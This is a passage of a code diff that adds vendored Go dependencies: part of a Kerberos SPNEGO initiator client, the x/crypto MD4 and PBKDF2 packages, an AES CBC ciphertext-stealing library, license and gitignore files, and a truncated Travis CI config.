|
||||
)
|
||||
if err != nil {
|
||||
return nil, false, fmt.Errorf("error generating NewAPReq: %w", err)
|
||||
}
|
||||
for _, o := range APOptions {
|
||||
types.SetFlag(&APReq.APOptions, o)
|
||||
}
|
||||
krb5Token.APReq = APReq
|
||||
|
||||
outToken, err := krb5Token.Marshal()
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
return []byte{}, false, err
|
||||
}
|
||||
k.state = InitiatorWaitForMutal
|
||||
return outToken, true, nil
|
||||
case InitiatorWaitForMutal:
|
||||
var krb5Token spnego.KRB5Token
|
||||
if err := krb5Token.Unmarshal(token); err != nil {
|
||||
err := fmt.Errorf("unmarshal APRep token failed: %w", err)
|
||||
return []byte{}, false, err
|
||||
}
|
||||
//var enc messages.EncAPRepPart
|
||||
//err2 := enc.Unmarshal(krb5Token.APRep.EncPart.Cipher)
|
||||
//fmt.Printf("err2: %#v, enc: %#v\n", err2, enc)
|
||||
|
||||
k.state = InitiatorReady
|
||||
return []byte{}, false, nil
|
||||
case InitiatorReady:
|
||||
return nil, false, fmt.Errorf("called one time too many, client has already been %d", k.state)
|
||||
default:
|
||||
return nil, false, fmt.Errorf("invalid state %d", k.state)
|
||||
}
|
||||
}
|
||||
|
||||
func (k *Krb5InitiatorClient) GetMIC(micFiled []byte) ([]byte, error) {
|
||||
micToken, err := gssapi.NewInitiatorMICToken(micFiled, k.subkey)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
token, err := micToken.Marshal()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return token, nil
|
||||
}
|
||||
|
||||
func (k *Krb5InitiatorClient) DeleteSecContext() error {
|
||||
k.client.Destroy()
|
||||
return nil
|
||||
}
|
||||
+122
@@ -0,0 +1,122 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package md4 implements the MD4 hash algorithm as defined in RFC 1320.
|
||||
//
|
||||
// Deprecated: MD4 is cryptographically broken and should should only be used
|
||||
// where compatibility with legacy systems, not security, is the goal. Instead,
|
||||
// use a secure hash like SHA-256 (from crypto/sha256).
|
||||
package md4 // import "golang.org/x/crypto/md4"
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"hash"
|
||||
)
|
||||
|
||||
func init() {
|
||||
crypto.RegisterHash(crypto.MD4, New)
|
||||
}
|
||||
|
||||
// The size of an MD4 checksum in bytes.
|
||||
const Size = 16
|
||||
|
||||
// The blocksize of MD4 in bytes.
|
||||
const BlockSize = 64
|
||||
|
||||
const (
|
||||
_Chunk = 64
|
||||
_Init0 = 0x67452301
|
||||
_Init1 = 0xEFCDAB89
|
||||
_Init2 = 0x98BADCFE
|
||||
_Init3 = 0x10325476
|
||||
)
|
||||
|
||||
// digest represents the partial evaluation of a checksum.
|
||||
type digest struct {
|
||||
s [4]uint32
|
||||
x [_Chunk]byte
|
||||
nx int
|
||||
len uint64
|
||||
}
|
||||
|
||||
func (d *digest) Reset() {
|
||||
d.s[0] = _Init0
|
||||
d.s[1] = _Init1
|
||||
d.s[2] = _Init2
|
||||
d.s[3] = _Init3
|
||||
d.nx = 0
|
||||
d.len = 0
|
||||
}
|
||||
|
||||
// New returns a new hash.Hash computing the MD4 checksum.
|
||||
func New() hash.Hash {
|
||||
d := new(digest)
|
||||
d.Reset()
|
||||
return d
|
||||
}
|
||||
|
||||
func (d *digest) Size() int { return Size }
|
||||
|
||||
func (d *digest) BlockSize() int { return BlockSize }
|
||||
|
||||
func (d *digest) Write(p []byte) (nn int, err error) {
|
||||
nn = len(p)
|
||||
d.len += uint64(nn)
|
||||
if d.nx > 0 {
|
||||
n := len(p)
|
||||
if n > _Chunk-d.nx {
|
||||
n = _Chunk - d.nx
|
||||
}
|
||||
for i := 0; i < n; i++ {
|
||||
d.x[d.nx+i] = p[i]
|
||||
}
|
||||
d.nx += n
|
||||
if d.nx == _Chunk {
|
||||
_Block(d, d.x[0:])
|
||||
d.nx = 0
|
||||
}
|
||||
p = p[n:]
|
||||
}
|
||||
n := _Block(d, p)
|
||||
p = p[n:]
|
||||
if len(p) > 0 {
|
||||
d.nx = copy(d.x[:], p)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (d0 *digest) Sum(in []byte) []byte {
|
||||
// Make a copy of d0, so that caller can keep writing and summing.
|
||||
d := new(digest)
|
||||
*d = *d0
|
||||
|
||||
// Padding. Add a 1 bit and 0 bits until 56 bytes mod 64.
|
||||
len := d.len
|
||||
var tmp [64]byte
|
||||
tmp[0] = 0x80
|
||||
if len%64 < 56 {
|
||||
d.Write(tmp[0 : 56-len%64])
|
||||
} else {
|
||||
d.Write(tmp[0 : 64+56-len%64])
|
||||
}
|
||||
|
||||
// Length in bits.
|
||||
len <<= 3
|
||||
for i := uint(0); i < 8; i++ {
|
||||
tmp[i] = byte(len >> (8 * i))
|
||||
}
|
||||
d.Write(tmp[0:8])
|
||||
|
||||
if d.nx != 0 {
|
||||
panic("d.nx != 0")
|
||||
}
|
||||
|
||||
for _, s := range d.s {
|
||||
in = append(in, byte(s>>0))
|
||||
in = append(in, byte(s>>8))
|
||||
in = append(in, byte(s>>16))
|
||||
in = append(in, byte(s>>24))
|
||||
}
|
||||
return in
|
||||
}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// MD4 block step.
|
||||
// In its own file so that a faster assembly or C version
|
||||
// can be substituted easily.
|
||||
|
||||
package md4
|
||||
|
||||
var shift1 = []uint{3, 7, 11, 19}
|
||||
var shift2 = []uint{3, 5, 9, 13}
|
||||
var shift3 = []uint{3, 9, 11, 15}
|
||||
|
||||
var xIndex2 = []uint{0, 4, 8, 12, 1, 5, 9, 13, 2, 6, 10, 14, 3, 7, 11, 15}
|
||||
var xIndex3 = []uint{0, 8, 4, 12, 2, 10, 6, 14, 1, 9, 5, 13, 3, 11, 7, 15}
|
||||
|
||||
func _Block(dig *digest, p []byte) int {
|
||||
a := dig.s[0]
|
||||
b := dig.s[1]
|
||||
c := dig.s[2]
|
||||
d := dig.s[3]
|
||||
n := 0
|
||||
var X [16]uint32
|
||||
for len(p) >= _Chunk {
|
||||
aa, bb, cc, dd := a, b, c, d
|
||||
|
||||
j := 0
|
||||
for i := 0; i < 16; i++ {
|
||||
X[i] = uint32(p[j]) | uint32(p[j+1])<<8 | uint32(p[j+2])<<16 | uint32(p[j+3])<<24
|
||||
j += 4
|
||||
}
|
||||
|
||||
// If this needs to be made faster in the future,
|
||||
// the usual trick is to unroll each of these
|
||||
// loops by a factor of 4; that lets you replace
|
||||
// the shift[] lookups with constants and,
|
||||
// with suitable variable renaming in each
|
||||
// unrolled body, delete the a, b, c, d = d, a, b, c
|
||||
// (or you can let the optimizer do the renaming).
|
||||
//
|
||||
// The index variables are uint so that % by a power
|
||||
// of two can be optimized easily by a compiler.
|
||||
|
||||
// Round 1.
|
||||
for i := uint(0); i < 16; i++ {
|
||||
x := i
|
||||
s := shift1[i%4]
|
||||
f := ((c ^ d) & b) ^ d
|
||||
a += f + X[x]
|
||||
a = a<<s | a>>(32-s)
|
||||
a, b, c, d = d, a, b, c
|
||||
}
|
||||
|
||||
// Round 2.
|
||||
for i := uint(0); i < 16; i++ {
|
||||
x := xIndex2[i]
|
||||
s := shift2[i%4]
|
||||
g := (b & c) | (b & d) | (c & d)
|
||||
a += g + X[x] + 0x5a827999
|
||||
a = a<<s | a>>(32-s)
|
||||
a, b, c, d = d, a, b, c
|
||||
}
|
||||
|
||||
// Round 3.
|
||||
for i := uint(0); i < 16; i++ {
|
||||
x := xIndex3[i]
|
||||
s := shift3[i%4]
|
||||
h := b ^ c ^ d
|
||||
a += h + X[x] + 0x6ed9eba1
|
||||
a = a<<s | a>>(32-s)
|
||||
a, b, c, d = d, a, b, c
|
||||
}
|
||||
|
||||
a += aa
|
||||
b += bb
|
||||
c += cc
|
||||
d += dd
|
||||
|
||||
p = p[_Chunk:]
|
||||
n += _Chunk
|
||||
}
|
||||
|
||||
dig.s[0] = a
|
||||
dig.s[1] = b
|
||||
dig.s[2] = c
|
||||
dig.s[3] = d
|
||||
return n
|
||||
}
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
// Copyright 2012 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
/*
|
||||
Package pbkdf2 implements the key derivation function PBKDF2 as defined in RFC
|
||||
2898 / PKCS #5 v2.0.
|
||||
|
||||
A key derivation function is useful when encrypting data based on a password
|
||||
or any other not-fully-random data. It uses a pseudorandom function to derive
|
||||
a secure encryption key based on the password.
|
||||
|
||||
While v2.0 of the standard defines only one pseudorandom function to use,
|
||||
HMAC-SHA1, the drafted v2.1 specification allows use of all five FIPS Approved
|
||||
Hash Functions SHA-1, SHA-224, SHA-256, SHA-384 and SHA-512 for HMAC. To
|
||||
choose, you can pass the `New` functions from the different SHA packages to
|
||||
pbkdf2.Key.
|
||||
*/
|
||||
package pbkdf2 // import "golang.org/x/crypto/pbkdf2"
|
||||
|
||||
import (
|
||||
"crypto/hmac"
|
||||
"hash"
|
||||
)
|
||||
|
||||
// Key derives a key from the password, salt and iteration count, returning a
|
||||
// []byte of length keylen that can be used as cryptographic key. The key is
|
||||
// derived based on the method described as PBKDF2 with the HMAC variant using
|
||||
// the supplied hash function.
|
||||
//
|
||||
// For example, to use a HMAC-SHA-1 based PBKDF2 key derivation function, you
|
||||
// can get a derived key for e.g. AES-256 (which needs a 32-byte key) by
|
||||
// doing:
|
||||
//
|
||||
// dk := pbkdf2.Key([]byte("some password"), salt, 4096, 32, sha1.New)
|
||||
//
|
||||
// Remember to get a good random salt. At least 8 bytes is recommended by the
|
||||
// RFC.
|
||||
//
|
||||
// Using a higher iteration count will increase the cost of an exhaustive
|
||||
// search but will also make derivation proportionally slower.
|
||||
func Key(password, salt []byte, iter, keyLen int, h func() hash.Hash) []byte {
|
||||
prf := hmac.New(h, password)
|
||||
hashLen := prf.Size()
|
||||
numBlocks := (keyLen + hashLen - 1) / hashLen
|
||||
|
||||
var buf [4]byte
|
||||
dk := make([]byte, 0, numBlocks*hashLen)
|
||||
U := make([]byte, hashLen)
|
||||
for block := 1; block <= numBlocks; block++ {
|
||||
// N.B.: || means concatenation, ^ means XOR
|
||||
// for each block T_i = U_1 ^ U_2 ^ ... ^ U_iter
|
||||
// U_1 = PRF(password, salt || uint(i))
|
||||
prf.Reset()
|
||||
prf.Write(salt)
|
||||
buf[0] = byte(block >> 24)
|
||||
buf[1] = byte(block >> 16)
|
||||
buf[2] = byte(block >> 8)
|
||||
buf[3] = byte(block)
|
||||
prf.Write(buf[:4])
|
||||
dk = prf.Sum(dk)
|
||||
T := dk[len(dk)-hashLen:]
|
||||
copy(U, T)
|
||||
|
||||
// U_n = PRF(password, U_(n-1))
|
||||
for n := 2; n <= iter; n++ {
|
||||
prf.Reset()
|
||||
prf.Write(U)
|
||||
U = U[:0]
|
||||
U = prf.Sum(U)
|
||||
for x := range U {
|
||||
T[x] ^= U[x]
|
||||
}
|
||||
}
|
||||
}
|
||||
return dk[:keyLen]
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
# Binaries for programs and plugins
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
+201
@@ -0,0 +1,201 @@
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding those notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "{}"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. We also recommend that a
|
||||
file or class name and description of purpose be included on the
|
||||
same "printed page" as the copyright notice for easier
|
||||
identification within third-party archives.
|
||||
|
||||
Copyright {yyyy} {name of copyright owner}
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
# AES CBC Ciphertext Stealing
|
||||
[](https://godoc.org/gopkg.in/jcmturner/aescts.v1) [](https://goreportcard.com/report/gopkg.in/jcmturner/aescts.v1)
|
||||
|
||||
Encrypt and decrypt data using AES CBC Ciphertext stealing mode.
|
||||
|
||||
Reference: https://en.wikipedia.org/wiki/Ciphertext_stealing#CBC_ciphertext_stealing
|
||||
|
||||
To get the package, execute:
|
||||
```
|
||||
go get gopkg.in/jcmturner/aescts.v1
|
||||
```
|
||||
To import this package, add the following line to your code:
|
||||
```go
|
||||
import "gopkg.in/jcmturner/aescts.v1"
|
||||
|
||||
```
|
||||
+186
@@ -0,0 +1,186 @@
|
||||
// Package aescts provides AES CBC CipherText Stealing encryption and decryption methods
|
||||
package aescts
|
||||
|
||||
import (
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"errors"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// Encrypt the message with the key and the initial vector.
|
||||
// Returns: next iv, ciphertext bytes, error
|
||||
func Encrypt(key, iv, plaintext []byte) ([]byte, []byte, error) {
|
||||
l := len(plaintext)
|
||||
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("Error creating cipher: %v", err)
|
||||
}
|
||||
mode := cipher.NewCBCEncrypter(block, iv)
|
||||
|
||||
m := make([]byte, len(plaintext))
|
||||
copy(m, plaintext)
|
||||
|
||||
/*For consistency, ciphertext stealing is always used for the last two
|
||||
blocks of the data to be encrypted, as in [RC5]. If the data length
|
||||
is a multiple of the block size, this is equivalent to plain CBC mode
|
||||
with the last two ciphertext blocks swapped.*/
|
||||
/*The initial vector carried out from one encryption for use in a
|
||||
subsequent encryption is the next-to-last block of the encryption
|
||||
output; this is the encrypted form of the last plaintext block.*/
|
||||
if l <= aes.BlockSize {
|
||||
m, _ = zeroPad(m, aes.BlockSize)
|
||||
mode.CryptBlocks(m, m)
|
||||
return m, m, nil
|
||||
}
|
||||
if l%aes.BlockSize == 0 {
|
||||
mode.CryptBlocks(m, m)
|
||||
iv = m[len(m)-aes.BlockSize:]
|
||||
rb, _ := swapLastTwoBlocks(m, aes.BlockSize)
|
||||
return iv, rb, nil
|
||||
}
|
||||
m, _ = zeroPad(m, aes.BlockSize)
|
||||
rb, pb, lb, err := tailBlocks(m, aes.BlockSize)
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("Error tailing blocks: %v", err)
|
||||
}
|
||||
var ct []byte
|
||||
if rb != nil {
|
||||
// Encrpt all but the lats 2 blocks and update the rolling iv
|
||||
mode.CryptBlocks(rb, rb)
|
||||
iv = rb[len(rb)-aes.BlockSize:]
|
||||
mode = cipher.NewCBCEncrypter(block, iv)
|
||||
ct = append(ct, rb...)
|
||||
}
|
||||
mode.CryptBlocks(pb, pb)
|
||||
mode = cipher.NewCBCEncrypter(block, pb)
|
||||
mode.CryptBlocks(lb, lb)
|
||||
// Cipher Text Stealing (CTS) - Ref: https://en.wikipedia.org/wiki/Ciphertext_stealing#CBC_ciphertext_stealing
|
||||
// Swap the last two cipher blocks
|
||||
// Truncate the ciphertext to the length of the original plaintext
|
||||
ct = append(ct, lb...)
|
||||
ct = append(ct, pb...)
|
||||
return lb, ct[:l], nil
|
||||
}
|
||||
|
||||
// Decrypt the ciphertext with the key and the initial vector.
|
||||
func Decrypt(key, iv, ciphertext []byte) ([]byte, error) {
|
||||
// Copy the cipher text as golang slices even when passed by value to this method can result in the backing arrays of the calling code value being updated.
|
||||
ct := make([]byte, len(ciphertext))
|
||||
copy(ct, ciphertext)
|
||||
if len(ct) < aes.BlockSize {
|
||||
return []byte{}, fmt.Errorf("Ciphertext is not large enough. It is less that one block size. Blocksize:%v; Ciphertext:%v", aes.BlockSize, len(ct))
|
||||
}
|
||||
// Configure the CBC
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Error creating cipher: %v", err)
|
||||
}
|
||||
var mode cipher.BlockMode
|
||||
|
||||
//If ciphertext is multiple of blocksize we just need to swap back the last two blocks and then do CBC
|
||||
//If the ciphertext is just one block we can't swap so we just decrypt
|
||||
if len(ct)%aes.BlockSize == 0 {
|
||||
if len(ct) > aes.BlockSize {
|
||||
ct, _ = swapLastTwoBlocks(ct, aes.BlockSize)
|
||||
}
|
||||
mode = cipher.NewCBCDecrypter(block, iv)
|
||||
message := make([]byte, len(ct))
|
||||
mode.CryptBlocks(message, ct)
|
||||
return message[:len(ct)], nil
|
||||
}
|
||||
|
||||
// Cipher Text Stealing (CTS) using CBC interface. Ref: https://en.wikipedia.org/wiki/Ciphertext_stealing#CBC_ciphertext_stealing
|
||||
// Get ciphertext of the 2nd to last (penultimate) block (cpb), the last block (clb) and the rest (crb)
|
||||
crb, cpb, clb, _ := tailBlocks(ct, aes.BlockSize)
|
||||
v := make([]byte, len(iv), len(iv))
|
||||
copy(v, iv)
|
||||
var message []byte
|
||||
if crb != nil {
|
||||
//If there is more than just the last and the penultimate block we decrypt it and the last bloc of this becomes the iv for later
|
||||
rb := make([]byte, len(crb))
|
||||
mode = cipher.NewCBCDecrypter(block, v)
|
||||
v = crb[len(crb)-aes.BlockSize:]
|
||||
mode.CryptBlocks(rb, crb)
|
||||
message = append(message, rb...)
|
||||
}
|
||||
|
||||
// We need to modify the cipher text
|
||||
// Decryt the 2nd to last (penultimate) block with a the original iv
|
||||
pb := make([]byte, aes.BlockSize)
|
||||
mode = cipher.NewCBCDecrypter(block, iv)
|
||||
mode.CryptBlocks(pb, cpb)
|
||||
// number of byte needed to pad
|
||||
npb := aes.BlockSize - len(ct)%aes.BlockSize
|
||||
//pad last block using the number of bytes needed from the tail of the plaintext 2nd to last (penultimate) block
|
||||
clb = append(clb, pb[len(pb)-npb:]...)
|
||||
|
||||
// Now decrypt the last block in the penultimate position (iv will be from the crb, if the is no crb it's zeros)
|
||||
// iv for the penultimate block decrypted in the last position becomes the modified last block
|
||||
lb := make([]byte, aes.BlockSize)
|
||||
mode = cipher.NewCBCDecrypter(block, v)
|
||||
v = clb
|
||||
mode.CryptBlocks(lb, clb)
|
||||
message = append(message, lb...)
|
||||
|
||||
// Now decrypt the penultimate block in the last position (iv will be from the modified last block)
|
||||
mode = cipher.NewCBCDecrypter(block, v)
|
||||
mode.CryptBlocks(cpb, cpb)
|
||||
message = append(message, cpb...)
|
||||
|
||||
// Truncate to the size of the original cipher text
|
||||
return message[:len(ct)], nil
|
||||
}
|
||||
|
||||
func tailBlocks(b []byte, c int) ([]byte, []byte, []byte, error) {
|
||||
if len(b) <= c {
|
||||
return []byte{}, []byte{}, []byte{}, errors.New("bytes slice is not larger than one block so cannot tail")
|
||||
}
|
||||
// Get size of last block
|
||||
var lbs int
|
||||
if l := len(b) % aes.BlockSize; l == 0 {
|
||||
lbs = aes.BlockSize
|
||||
} else {
|
||||
lbs = l
|
||||
}
|
||||
// Get last block
|
||||
lb := b[len(b)-lbs:]
|
||||
// Get 2nd to last (penultimate) block
|
||||
pb := b[len(b)-lbs-c : len(b)-lbs]
|
||||
if len(b) > 2*c {
|
||||
rb := b[:len(b)-lbs-c]
|
||||
return rb, pb, lb, nil
|
||||
}
|
||||
return nil, pb, lb, nil
|
||||
}
|
||||
|
||||
func swapLastTwoBlocks(b []byte, c int) ([]byte, error) {
|
||||
rb, pb, lb, err := tailBlocks(b, c)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var out []byte
|
||||
if rb != nil {
|
||||
out = append(out, rb...)
|
||||
}
|
||||
out = append(out, lb...)
|
||||
out = append(out, pb...)
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// zeroPad pads bytes with zeros to nearest multiple of message size m.
|
||||
func zeroPad(b []byte, m int) ([]byte, error) {
|
||||
if m <= 0 {
|
||||
return nil, errors.New("Invalid message block size when padding")
|
||||
}
|
||||
if b == nil || len(b) == 0 {
|
||||
return nil, errors.New("Data not valid to pad: Zero size")
|
||||
}
|
||||
if l := len(b) % m; l != 0 {
|
||||
n := m - l
|
||||
z := make([]byte, n)
|
||||
b = append(b, z...)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
# Binaries for programs and plugins
|
||||
*.exe
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Test binary, build with `go test -c`
|
||||
*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
|
||||
# Project-local glide cache, RE: https://github.com/Masterminds/glide/issues/736
|
||||
.glide/
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
language: go
|
||||
|
||||
go:
|
||||
- 1.7.x
|
||||
- 1.8.x
|
||||
- 1.9.x
|
||||
- master
|
||||
|
||||
gobuild_args: -tags=integration -race
|
||||
|
||||
sudo: required
|
||||
|
||||
services:
|
||||
- docker
|
||||
|
||||
before_install:
|
||||
- docker pull jcmturner/gokrb5:dns
|
||||
- docker run -d -h kdc.test.gokrb5 -v /etc/localtime:/etc/localtime:ro -e "TEST_KDC_ADDR=127.0.0.1" -p 53:53 -p 53:53/udp --name dns jcmturner/gokrb5:dns
|
||||
|
||||
before_script:
|
||||
